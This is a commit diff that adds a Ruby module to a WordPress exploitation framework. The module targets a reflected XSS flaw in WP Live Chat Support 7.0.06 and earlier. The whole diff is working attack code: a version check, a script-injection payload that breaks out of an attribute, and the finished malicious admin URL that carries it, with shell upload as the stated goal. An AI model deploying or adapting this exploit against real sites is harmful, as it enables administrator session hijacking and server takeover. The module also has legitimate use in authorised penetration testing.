Add WP Live Chat Support <= 7.0.06 reflected XSS shell upload

Author: rastating

modules/exploits/wp_live_chat_support_reflected_xss_shell_upload.rb

@@ -0,0 +1,38 @@
+class Wpxf::Exploit::WpLiveChatSupportReflectedXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::ReflectedXss
+  include ERB::Util
+
+  def initialize
+    super
+
+    update_info(
+      name: 'WP Live Chat Support <= 7.0.06 Reflected XSS Shell Upload',
+      author: [
+        'Chris Liu',                      # Discovery
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8843'],
+        ['URL', 'http://jvn.jp/en/jp/JVN70951878/index.html'],
+        ['URL', 'https://www.rastating.com/wp-live-chat-support-7-0-06-reflected-xss']
+      ],
+      date: 'Jun 01 2017'
+    )
+  end
+
+  def check
+    check_plugin_version_from_changelog('wp-live-chat-support', 'readme.txt', '7.0.07')
+  end
+
+  def vulnerable_url
+    normalize_uri(wordpress_url_admin, 'admin.php')
+  end
+
+  def url_payload
+    url_encode("#{Utility::Text.rand_numeric(2)}'><script>#{xss_ascii_encoded_include_script}</script><span class='")
+  end
+
+  def url_with_xss
+    "#{vulnerable_url}?page=wplivechat-menu-history&wplc_action=remove_cid&cid=#{url_payload}"
+  end
+end